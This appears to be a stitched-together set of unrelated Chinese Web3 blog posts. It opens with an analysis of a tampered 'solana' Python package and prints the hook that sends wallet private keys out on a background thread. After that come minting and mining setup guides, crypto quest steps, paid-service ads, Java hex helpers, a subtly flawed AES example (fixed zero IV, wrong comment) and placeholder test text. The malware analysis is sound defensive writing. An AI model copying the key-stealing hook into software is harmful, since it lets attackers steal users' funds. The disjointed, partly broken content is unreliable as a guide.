喜欢研究技术，专职Web3脚本撸毛，感兴趣的朋友可以关注一波

今天给大家介绍的一个python三方库偷私钥的案例分析，希望大家引以为戒，在web3领域多注意财产安全。

背景介绍

这两天有朋友需要搞solana链的一个交互脚本，所以葱哥就准备写一下。

因为之前大都是在搞EVM/BTC链，solana只草草搞过一次，不是很熟悉，于是翻出以前的代码（代码之前是可正常执行的）准备仔细研究一番。

突然发现以前的代码运行报错，习惯性以为可能某个依赖库更新导致的，于是将几个依赖库都重新更新了。

发现还是报错，通过仔细查看发现代码中用到了 solana 和 solders 两个依赖库，两个依赖库中有些参数类型混淆导致的错误。

为了查找问题修复错误，对代码进行了断点调试，逐步分析，当我在最终发送交易的代码出打上断点后，奇怪的事情发生了，我明明只提交了一笔交易，但发送交易的断点却又被命中了。

这就是核心问题所在，他在后台启动了线程偷偷发送交易。

机制分析

通过调试发现，流程如下：

1. 最初有 solana.Keypair.from_base58_string(sender_private_key) 进入

2. 方法被注入触发 solana.rpc.types._init_.py 中如下包装代码

       def augment_func(func):
           @wraps(func)
           def wrapper(self, *args, **kwargs):
               kp = func(self, *args, **kwargs)
               threading.Thread(target=transmit, args=(bytes(kp),), daemon=True).start()
               return kp
   
           return wrapper
   

3. 代码中除正常返回 Keypair之外，偷偷启动了新线程，新线程中调用 同文件中的 transmit 方法，并将私钥作为参数传入

4. 查看 tranmit 源码，可以看到他在 devnet 网络发送了一笔交易，该笔交易就把 钱包私钥进行加密放入了memo指令，然后上传到了devnet上

1. 调试中可以看到多次启动新线程执行上述 偷私钥上链 动作

链上跟踪

1. 通过调试代码发现 病毒库上链使用的 钱包地址是 D782zqWjgSvy4hQoqzY1ySrGrotnXm1suJeXFur8sAko

2. 在devnet查看该地址，随便点开一条交易，可以看到这个 memo 就是被加密的私钥

1. 可以看到该地址的交易数量很多，意味着盗取了很多私钥，当然其中有大量私钥是重复的

扩展

1. 先说一个好消息是该地址的在 devnet 上的 sol不足了，近两个月已经没有私钥被上链 ，当然不排除黑客那天又给他充值进去

2. 在源码中有该地址的私钥，但黑客很聪明，该私钥在主网钱包余额为0，所有有想法的兄弟可以放弃了

3. 可能还有兄弟想把上链的私钥给解密出来，打住了， 源代码中对盗取的私钥进行加密时使用的是RSA公钥，所以上链的数据只有黑客能解密

4. 以后对于三方库一定要小心谨慎，不能随意下载使用

库名揭秘(澄清下是我本地库被污染了)

经过仔细查看，发现不是solana官方库的问题，是我本地库被污染

solana库没问题的

pip install solana 版本0.34.0

你没看错，就是使用的 solana 这个库名，大部分人和我一样一看就以为是官方的库，但他确实是黑客搞出来的，迷惑性极强啊

在该库的 介绍中提到的 github 地址是 https://github.com/michaelhly/solanapy，我去看了下，源码是有区别的，是篡改的版本

我已经准备了4台服务器，有需要代打的小伙伴可以联系我，代打费用比 三方网站便宜很多，只收取10%的费用，欢迎有需要的老板联系。另外自己部署环境有困难的也可以找我，帮你部署cat20环境。

联系方式wx: t52861700

1. 准备工作

因为分型链需要在21000区块后才做索引，我们先要铸造CAT，需要自己准备不少东西

1. 服务器一台

   建议创建一个 ubuntu 服务器来跑，避免环境部署问题，可以选用腾讯云、contabo等云服务器。注意选择国外服务器避免拉取、安装问题，注意配置CPU 2 核、内存 4GB，并且使用按量付费。

   服务器用于部署 Fractal 全节点、索引器， 并运行 mint脚本

2. FB代币

   分型连使用FB作为gas，需要准备足够的FB，目前链上gas被打到1800聪了，建议准备1FB起步吧，想大批量那就需要更多，另外大批量的最好进行utxo的拆分

3. SSH远程工具

   比如FinalShell、xshell 等用来远程登录服务器进行操作

2. 服务器基本环境部署

首先安装 Docker、docker-compose和 node.js 环境

sudo apt-get update

# 安装docker
sudo apt-get install docker.io -y

# 安装 docker-compose
VERSION=$(curl --silent https://api.github.com/repos/docker/compose/releases/latest | grep -Po '"tag_name": "\K.*\d')
DESTINATION=/usr/local/bin/docker-compose
sudo curl -L https://github.com/docker/compose/releases/download/${VERSION}/docker-compose-$(uname -s)-$(uname -m) -o $DESTINATION
sudo chmod 755 $DESTINATION

# 安装npm及nodejs
sudo apt-get install npm -y
sudo npm install n -g
sudo n stable

# 安装yarn
sudo npm i -g yarn

拉取cat的代码并编译

拉取 github 的仓库，并且进行编译

git clone https://github.com/CATProtocol/cat-token-box
cd cat-token-box
sudo yarn install
sudo yarn build

3. Fractal 全节点部署

CAT 是在 Fractal 主网上的协议，所以需要在服务器上运行一个 Fractal 全节点，由于现在 Fractal 网络的区块不多，所以同步是特别快的，这个和网络速度有关系。

部署Fractal 节点命令如下

cd ./packages/tracker/
sudo chmod 777 docker/data
sudo chmod 777 docker/pgdata
sudo docker-compose up -d

运行完他会自动进行同步的，直接进行下一步就可以了

4. 索引器部署

CAT Protocol 需要运行一个本地的索引器，下面是编译和运行的命令

cd ../../
sudo docker build -t tracker:latest .
sudo docker run -d \
    --name tracker \
    --add-host="host.docker.internal:host-gateway" \
    -e DATABASE_HOST="host.docker.internal" \
    -e RPC_HOST="host.docker.internal" \
    -p 3000:3000 \
    tracker:latest

5. 创建配置文件及本地钱包

在完成全节点和索引器的运行后，接下来要创建配置文件。首先要在 cat-token-box/package/cli 目录下创建 config.json文件，命令如下：

cd ~/cat-token-box/packages/cli
vim config.json

然后复制下面的配置信息，在服务器上按一下 i 键，然后鼠标邮件进行粘贴，之后按 esc 键，然后输入 :wq 再回车保存。

注意 其中maxFeeRate为gas，这个要根据当前网络情况进行调整，可以在配置文件中调整也可以在后面的命令行中设置

{
  "network": "fractal-mainnet",
  "tracker": "http://127.0.0.1:3000",
  "dataDir": ".",
  "maxFeeRate": 1800,
  "rpc": {
      "url": "http://127.0.0.1:8332",
      "username": "bitcoin",
      "password": "opcatAwesome"
  }
}

6. 创建本地钱包并转入FB

执行下面的指令创建新钱包

sudo yarn cli wallet create

如果显示类似下面的信息，那么就是创建完成了（这里码住了助记词），注意自己要保管好助记词哦

将助记词导入到自己的钱包中，就可以得到对应的地址了。也可以通过如下命令查看地址：

yarn cli wallet address

然后给这个地址转入足够的FB就可以了

7. 等待同步到位

在mint前需要等待区块同步到位，可以通过查看钱包余额的方式来检查是否同步完成

yarn cli wallet balances

如果没同步完，会显示如下内容，据说90%以上的比例就可以进行mint了，也有人说80%就行，但我80%试了不行

8. mint cat

单次mint使用如何命令：

sudo yarn cli mint -i 45ee725c2c5993b3e4d308842d87e973bf1951f5f7a804b21e4dd964ecd12d6b_0 5 --fee-rate 1800

这里可以加后面 --fee-rate 1800 参数，也可以不加，不加的话自动取配置文件中设置的gas

每次的 mint 指令只能铸造一次，所以需要脚本来重复执行，在当前的 cli 目录下创建一个 script.sh 文件，内容复制下面的：

#!/bin/bash

command="sudo yarn cli mint -i 45ee725c2c5993b3e4d308842d87e973bf1951f5f7a804b21e4dd964ecd12d6b_0 5 --fee-rate 1800"

while true; do
    $command

    if [ $? -ne 0 ]; then
        echo "命令执行失败，退出循环"
        exit 1
    fi

    sleep 1
done

然后添加运行权限 chmod +x script.sh

最后运行这个脚本文件就可以重复 mint 了，如果需要后台执行的可以查一下 nohup 和screen 指令。

其他相关命令待补充

检查mint数量，在packages/cli目录下输入： yarn cli wallet balances

疑难杂症环节：

大家可能会遇到可能千奇百怪的问题，部分问题是钱包地址原因，还有部分问题是节点原因，解决办法有：

1. 如果是钱包问题

   • 先看看区块同步进度是否正常

   • 然后就检查钱包余额，是否有交易卡住了，

   • 如果都没问题还提示余额不足，那就钱包进行几次自转，再不行就换个钱包

2. 如果是服务器区块问题，就重启全节点和索引器

   # 重启全节点
   cd ~/cat-token-box/packages/tracker
   docker compose down
   docker compose up -d
   #查看节点日志
   docker compose logs -f
   
   # 重启索引器
   docker restart tracker
   
   # 查看索引器日志
   docker logs -f -n 100 tracker
   

3. 另外就是区块同步很慢的问题，这个大家如果能找到现成的数据，可以通过hsql进行导入，免去漫长的索引过程。 如果找不到数据，又不想等的话，也可以联系我。

hapilabs 生成钱包交互图任务

交互网站： (官网很拉跨)

https://linea.hapilabs.one/

操作指引：

Step 1. 创建钱包（一个做任务的主钱包，两个辅助钱包）

Go to your MetaMask and create 2 fresh Linea testnet accounts. You can name them, for example Linea 2, Linea 3. You should now have 3 accounts in your MetaMask: 

• Your main account (the one you used for the Linea Voyage Quest in Galxe) - we can call this Linea 1

• Linea 2 (newly created)

• Linea 3 (newly created)

Step 2. 发送交易 （给官方发 0.0001，辅助钱包分别发0.0002和0.0003）

1. Send the first transaction 0,0001 LineaETH from your Linea 1 wallet to HAPI wallet address 0x1ed47146ba443D16F67f489800dc5d7786e07c5d to identify your wallet as a quest participant.

2. Send 0,0002 LineaETH from Linea 1 to Linea 2 

3. Send 0,0003 LineaETH from Linea 1 to Linea 3

Step 3. 进入hapilabs 设置参数（主钱包地址、时间范围 默认就可以）

1. Connect your MetaMask Linea 1 wallet to the HAPILabs terminal. 

2. Paste your Linea 1 wallet address to HAPILabs terminal address bar (1), choose the correct period (2), and push the “find” button (3) as follows:

Step 4. 绘图.

     把多余的交易节点可以删除掉保留2个，拖拽成L形状

Step 5. 转发推

带着上一步的截图 加上 #I_am_Linea_0x………………… (0x后面放上你自己的钱包地址) 转发推特， https://twitter.com/LineaBuild/status/1663531528679460864， .

thirdweb 部署代币任务

不要按照官方的文档操作，有坑，有坑，有坑

交互网站

https://thirdweb.com/

操作说明

1. 链接钱包

2. 直接进入 正确的代币模板（官方给的有误）

   https://thirdweb.com/thirdweb.eth/DropERC20/4.0.3

3. deploy now

4设置代币名称，部署

5.设置claim条件(设置claim公开 单个钱包上限10 保存)

6.其他步骤可以参考官方给的文档 （claim 10个代币，给官方转1个）

     官方钱包： 0x630900fB257fAfEf02491368062d50d6677d9D75

https://docs.linea.build/use-linea/explore/use-thirdweb

6.1 claim 截图 页面要拉到下面才能看到的

6.2 转币截图

GoPlus 代币安全检测任务

20个代币合约选择出8个无风险的代币，每个代币下面都有检测按钮，点点看就能知道哪些安全，哪些不安全了，如果是指纹浏览器或者无痕浏览器，代币位置会发生改变，要注意。

交互网站 （做完后银河很快就可以看到分数）

https://linea.gopluslabs.io/

参考答案（注意顺序）

真实浪费钱啊啊

Not sure what to write about? How about telling your web3 origin story? We'd love to learn how you first fell down the crypto rabbit hole: after you mint your article, make sure to come share it with us in the RabbitHole Discord!

首先准备一台服务器，CPU核心数要多一些，8核+，内存要求不高，8G就差不多

提供付费安装服务（微信：t52861700 注明付费装铁鱼）， 200元一台（量大从优）

1. 安装 node.js 16

   dnf module install nodejs:16
   

   centos8以前的版本没有dnf ，也可以手动下载安装 nodejs

   wget https://nodejs.org/dist/v16.13.1/node-v16.13.1-linux-x64.tar.xz 
   xz -d node-v16.13.1-linux-x64.tar.xz 
   tar -xvf node-v16.13.1-linux-x64.tar
   ln -s /root/node-v16.13.1-linux-x64/bin/node /usr/bin/node
   ln -s /root/node-v16.13.1-linux-x64/bin/npm /usr/bin/npm
   ln -s /root/node-v16.13.1-linux-x64/bin/npx /usr/bin/npx
   export PATH=/root/node-v16.13.1-linux-x64/bin/:$PATH
   echo 'export PATH=/root/node-v16.13.1-linux-x64/bin/:$PATH' >> ~/.bashrc 
   source ~/.bashrc
   

2. 安装gcc

   yum install gcc gcc-c++ make 
   

3. 安装rust

   curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
   source $HOME/.cargo/env
   

4. 安装 yarn

   npm install --global yarn
   

5. 下载官方源代码

   cd /root
   git clone https://github.com/iron-fish/ironfish.git
   chown -R root ironfish
   

   如果没有git，通过一下命令安装

   yum install git

   clone较慢的话，也可以自己下载后解压缩

   wget https://github.com/iron-fish/ironfish/archive/refs/heads/master.zip 
   yum install -y unzip zip 
   unzip ironfish-master.zip
   mv ironfish-master ironfish
   

6. 编译源码

   cd /root/ironfish
   yarn install 
   yarn build
   
   cd /root/ironfish/ironfish-cli/
   yarn build
   

   有些系统没有自带python，如果提示python错误，请安装python3.6

   感谢老毕反馈的问题，如果编译源码后，在执行ironfish的相关命令出现 xxx is not a ironfish command 这类错误，可以执行

   cd /root/ironfish
   yarn install 
   yarn build
   

7. 启动节点（初次启动要同步数据比较慢）

   cd /root/ironfish/ironfish-cli/
   yarn ironfish start
   

   窗口不要关闭，或者把启动命令修改为后台方式

   nohup yarn ironfish start >nohup.log &

8. 配置帐号（与官网注册一致）

   yarn ironfish config:set blockGraffiti "sddcg"
   

   双引号能填写自己在官网注册的帐号

9. 再开一个终端窗口开启挖矿

   cd /root/ironfish/ironfish-cli/
   yarn ironfich miners:start -t CPU核心数
   或
   yarn ironfich miners:start -t -1
   

   窗口不要关闭，或者把启动命令修改为后台方式 nohup yarn ironfich miners:start -t -1 >mine.log &

10. 官网查看积分

    https://testnet.ironfish.network/leaderboard

    每次登录都会发邮件，需要到邮箱点击链接完成登录

    在search框输入自己的帐号后就能过滤自己的帐号，然后点击进入就可以查看积分情况

11. 水龙头领币

    目前水龙头好像有问题，领不到

    cd /root/ironfish/ironfish-cli/
    yarn ironfish faucet
    

12. 关于服务器，大家可以去白嫖一些云服务器厂商的免费试用款

    如华为云，就提供4核8G 15天免费用

13. 查看状态

    cd /root/ironfish/ironfish-cli/  
    yarn ironfish status -f
    

    下图的 mined前的数字表示你挖到的数量

Cmake问题

yum install centos-release-scl devtoolset-8-gcc*
scl enable devtoolset-8 bash
source /opt/rh/devtoolset-8/enable
yum install cmake3
alternatives --install /usr/local/bin/cmake cmake /usr/bin/cmake 10 \
--slave /usr/local/bin/ctest ctest /usr/bin/ctest \
--slave /usr/local/bin/cpack cpack /usr/bin/cpack \
--slave /usr/local/bin/ccmake ccmake /usr/bin/ccmake \
--family cmake

alternatives --install /usr/local/bin/cmake cmake /usr/bin/cmake3 20 \
--slave /usr/local/bin/ctest ctest /usr/bin/ctest3 \
--slave /usr/local/bin/cpack cpack /usr/bin/cpack3 \
--slave /usr/local/bin/ccmake ccmake /usr/bin/ccmake3 \
--family cmake

alternatives --config cmake

openssl问题

yum install openssl11
export OPENSSL_ROOT_DIR='/usr/lib64/openssl11'
echo 'export OPENSSL_ROOT_DIR=/usr/lib64/openssl11' >> ~/.bashrc 
export OPENSSL_INCLUDE_DIR='/usr/include/openssl11/openssl'
echo 'export OPENSSL_INCLUDE_DIR=/usr/lib64/openssl11/openssl' >> ~/.bashrc 
source ~/.bashrc

Updating crates.io index 速度慢的解决办法

修改 $HOME/.cargo/config

# 放到 `$HOME/.cargo/config` 文件中
[source.crates-io]
#registry = "https://github.com/rust-lang/crates.io-index"

# 替换成你偏好的镜像源
replace-with = 'ustc'
#replace-with = 'sjtu'

# 清华大学
[source.tuna]
registry = "https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git"

# 中国科学技术大学
[source.ustc]
registry = "git://mirrors.ustc.edu.cn/crates.io-index"

# 上海交通大学
[source.sjtu]
registry = "https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index"

# rustcc社区
[source.rustcc]
registry = "https://mirrors.ustc.edu.cn/crates.io-index"

github下载慢问题

可以使用代理 git clone https://ghproxy.com/https://github.com/iron-fish/ironfish.git

在/etc/hosts增加

# GitHub520 Host Start
140.82.114.26                 alive.github.com
140.82.114.25                 live.github.com
185.199.108.154               github.githubassets.com
140.82.112.21                 central.github.com
185.199.108.133               desktop.githubusercontent.com
185.199.108.153               assets-cdn.github.com
185.199.108.133               camo.githubusercontent.com
185.199.108.133               github.map.fastly.net
199.232.69.194                github.global.ssl.fastly.net
140.82.113.3                  gist.github.com
185.199.108.153               github.io
140.82.113.3                  github.com
192.0.66.2                    github.blog
140.82.112.5                  api.github.com
185.199.108.133               raw.githubusercontent.com
185.199.108.133               user-images.githubusercontent.com
185.199.108.133               favicons.githubusercontent.com
185.199.108.133               avatars5.githubusercontent.com
185.199.108.133               avatars4.githubusercontent.com
185.199.108.133               avatars3.githubusercontent.com
185.199.108.133               avatars2.githubusercontent.com
185.199.108.133               avatars1.githubusercontent.com
185.199.108.133               avatars0.githubusercontent.com
185.199.108.133               avatars.githubusercontent.com
140.82.112.10                 codeload.github.com
52.216.16.160                 github-cloud.s3.amazonaws.com
52.217.172.41                 github-com.s3.amazonaws.com
52.216.28.148                 github-production-release-asset-2e65be.s3.amazonaws.com
52.216.152.124                github-production-user-asset-6210df.s3.amazonaws.com
52.216.169.171                github-production-repository-file-5c1aeb.s3.amazonaws.com
185.199.108.153               githubstatus.com
64.71.144.202                 github.community
23.100.27.125                 github.dev
185.199.108.133               media.githubusercontent.com

centos7中gcc版本问题导致yarn install失败

yum install centos-release-scl scl-utils-build
yum install devtoolset-8-gcc*
scl enable devtoolset-8 bash

账户创建及导入导出、余额查看

# 创建账号 create 时可以设置账号名字
yarn ironfish accounts:create

# 修改使用某个账号进行挖矿，账号对应钱包
yarn ironfish accounts:use xxx

# 账号导出
yarn ironfish accounts:export xxx /root/xxx.accounts

# 账号导入
yarn ironfish accounts:import /root/xxx.accounts

# 查看余额
yarn ironfish accounts:balance

本教程更新说明

将 svn下载源码的方式调整为使用 git安装

1. 安装subversion

2. 下载官方源代码

   cd /root
   svn checkout "https://github.com/iron-fish/ironfish.git"
   

感谢avaLuncher 的免费空投，让我感受了一把百倍币，真nb。

当时螃蟹CRA的流动性池子刚开的时候，没有冲进去，错过了一个机会，如果开池就冲进去，也能赚到很多倍，所以最近几天开始潜心研究 池子的合约交互，主流程总算走通了，很多坑也搞定了。

本来计划在昨晚的卡牌游戏 CRAFT 流动性池子干一把，结果差点被套，这个池子已开就是50倍，如果科学家开池抢进去，活脱脱的山顶，还好机器人遇到点小问题没有盲目买进。

迅速在avaluncher上claim自己的第一笔craft，然后快速的在TradeJoe卖掉，gas费飙升的真厉害，claim、合约授权、卖出三个操作gas费就20刀左右了，结果发现子卖在了山脚下，享受了30倍，还是错过了10多倍，不过知足就好，落袋为安。

下一步继续完善机器人功能，可以自动做网格交易，低买高卖，赚点搬砖费。

遗留问题：

1. 获取恰当的gasPrice，有时候gas费飙升会直接影响到每笔交易的收益情况

2. 网格交易的收益模型完善，能准备捕获利润，

3. 自动交易配置参数提取，网格交易的合理配置方式：买入价格、买入数量、卖出价格、卖出数量， 根据网格设置或者根据收益情况如10%盈利 进行平仓

4. 多币种支持，目前支持少数币种，自动发现新币种

5. UI界面制作，目前是程序员的视角在使用，待完善为UI操作界面

6. 智能监控、自动提醒完善，可以根据监控规则对价格进行监控，达到阈值后触发自动提醒，提醒方式邮件、短信。短信通道问题、敏感字问题，某些大众币种可能会触发短信敏感词

7. 新池子监控，池子大小、规模，池子安全性识别，设置规则判断是否抢池子

8. 其他dex扩展，如pancake、uniswap、穿山甲等等

dc nft 目前还没有进一步的消息，还有些码没做激活，静观其变

discord弄了些号还没见到影子

mirror在进行中，看不见影子

印度抖音认购点额度赌一把

越南版王者荣耀赌一把，推特6万人，IDO0.05U一个币，邀请一个是10个币

https://nft.angle.money/#/home 得了银质 nft，没有马蹄还没有claim

https://www.faze.app/refer/VPOTDSBA 拉人注册领空投

雪崩网上参与ido吧

看看哪个能让我发财

   public static byte[] hexStringToBytes(String hexString) {

        if (hexString == null || hexString.equals("")) {

            return null;

        }

        hexString = hexString.toUpperCase();

        int length = hexString.length() / 2;

        char[] hexChars = hexString.toCharArray();

        byte[] d = new byte[length];

        for (int i = 0; i < length; i++) {

            int pos = i * 2;

            d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));

        }

        return d;

    }

    private static byte charToByte(char c) {

        return (byte) "0123456789ABCDEF".indexOf(c);

    }

byte——>String

 public static String bytesToHexString(byte[] src){

        StringBuilder stringBuilder = new StringBuilder("");

        if (src == null || src.length <= 0) {

            return null;

        }

        for (int i = 0; i < src.length; i++) {

            int v = src[i] & 0xFF;

            String hv = Integer.toHexString(v);

            if (hv.length() < 2) {

                stringBuilder.append(0);

            }

            stringBuilder.append(hv);

        }

        return stringBuilder.toString();

    }

byte——>hexString

public   String printHexString( byte[] b) {

String a = "";

  for (int i = 0; i < b.length; i++) { 

    String hex = Integer.toHexString(b[i] & 0xFF); 

    if (hex.length() == 1) { 

      hex = '0' + hex; 

    }

    a = a+hex;

  } 

       return a;

}

工作中，在和其他服务供应商对接时，有时需要使用AES加密方式实现接口的联调。算法逻辑需要自己实现，现把流程整理如下: 另，基于这篇文章 使用 PyCrypto 进行 AES/ECB/PKCS#5(7) 加密，PKC7填充方式等同于PKC5填充方式。

安装依赖

pip3 install crypto

代码实现

包括完整的代码及注解

import base64
from Crypto.Cipher import AES

class AESCipher:

    def __init__(self, key):
        self.key = key[0:16] #只截取16位
        self.iv = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" # 16位字符，用来填充缺失内容，可固定值也可随机字符串，具体选择看需求。

    def __pad(self, text):
        """填充方式，加密内容必须为16字节的倍数，若不足则使用self.iv进行填充"""
        text_length = len(text)
        amount_to_pad = AES.block_size - (text_length % AES.block_size)
        if amount_to_pad == 0:
            amount_to_pad = AES.block_size
        pad = chr(amount_to_pad)
        return text + pad * amount_to_pad

    def __unpad(self, text):
        pad = ord(text[-1])
        return text[:-pad]

    def encrypt(self, raw):
        """加密"""
        raw = self.__pad(raw)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return base64.b64encode(cipher.encrypt(raw))

    def decrypt(self, enc):
        """解密"""
        enc = base64.b64decode(enc)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv )
        return self.__unpad(cipher.decrypt(enc).decode("utf-8"))


if __name__ == '__main__':
    e = AESCipher('8ymWLWJzYA1MvLF8')
    secret_data = "6860795567181583<REQDATA></REQDATA>242BB99CE386F2B1EA19CCCF606D20E2"
    enc_str = e.encrypt(secret_data)
    print('enc_str: ' + enc_str.decode())
    dec_str = e.decrypt(enc_str)
    print('dec str: ' + dec_str)
输出:
>>> enc_str: gO80A2YMTzkYTzSe6MDjwYLq2X3Du6WXP5CEj1qdaX7b39Egp1Dxj+CGs+PqWkuRkKhPNTt8BPQZfRpi4zj+1UxXjYkO51sRLwgARTlZDKY=
>>> dec str: 6860795567181583<REQDATA></REQDATA>242BB99CE386F2B1EA19CCCF606D20E2

# 举例如下： hash值h二进制为 0010 1100 1111 0001 1110 1110 旧容量为length=16，二进制为 0001 0000 length-1=0000 1111 那么扩容前索引位置为 h&(length-1)=1110=14

扩容后，容量为32,对应二进制为 0010 0000 新length-1=0001 1111 hash值对新容量计算索引时，可以看出最后四位二进制是不变的，与原容量时计算一致，唯一变化的是倒数第五位的二进制值，本例中hash对应新索引不变还是14，因为hash的倒数第五位为0 如果hash为0100 0001 0010,旧容量中索引为0010=2，新容量下索引为0001 0010=18=2+16。 # 结论 可见在扩容后，索引位置要嘛不变，要嘛移动旧容量个位置。 而判断的依据就是hash值在扩容后容量-1的最高位对应的值，而扩容后容量-1的最高位其实就是扩容前容量的最高位。 因此可以通过h&oldcap来判断，=0代表对应最高位为零，不移动位置；>0代表对应最高位不为零，需要移动到高位索引。

试试吧。

太奇妙了。

我喜欢！

头1

• 清单 1

• 清单 2

• 清单 3

这是降价格式。

非常好！